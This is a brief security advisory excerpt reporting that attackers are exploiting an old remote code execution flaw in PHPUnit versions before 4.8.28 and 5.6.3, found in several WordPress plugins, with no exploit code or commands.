Multiple Plugins Affected by an Old Vulnerability in PHPUnit
As seen in January attackers are continuing to leverage an RCE in PHPUnit along with several plugin vulnerabilities found in the past month.
Unpatched versions of PHPUnit prior to 4.8.28 and 5.6.3 allow remote attackers to execute arbitrary PHP code via HTTP POST data.
